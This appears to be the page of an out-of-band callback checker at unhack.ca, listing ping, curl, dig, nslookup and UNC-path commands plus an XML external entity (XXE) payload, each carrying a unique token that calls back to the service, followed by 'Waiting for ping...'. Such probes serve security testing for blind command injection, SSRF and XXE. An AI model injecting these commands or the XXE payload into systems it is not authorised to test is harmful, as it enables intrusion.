$ ping -c1 -p 00622f9149fff01e05420540e2b3e600 unhack.ca
 
$ curl http://unhack.ca/p/622f9149fff01e05420540e2b3e6
 
$ dig 622f9149fff01e05420540e2b3e6 @unhack.ca
 
$ dig 622f9149fff01e05420540e2b3e6.ns.unhack.ca
 
C:\> nslookup 622f9149fff01e05420540e2b3e6 unhack.ca
 
C:\> type \\unhack.ca\622f9149fff01e05420540e2b3e6\f.txt
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/622f9149fff01e05420540e2b3e6">]>
    <foo>&xxe;</foo>
 
Waiting for ping...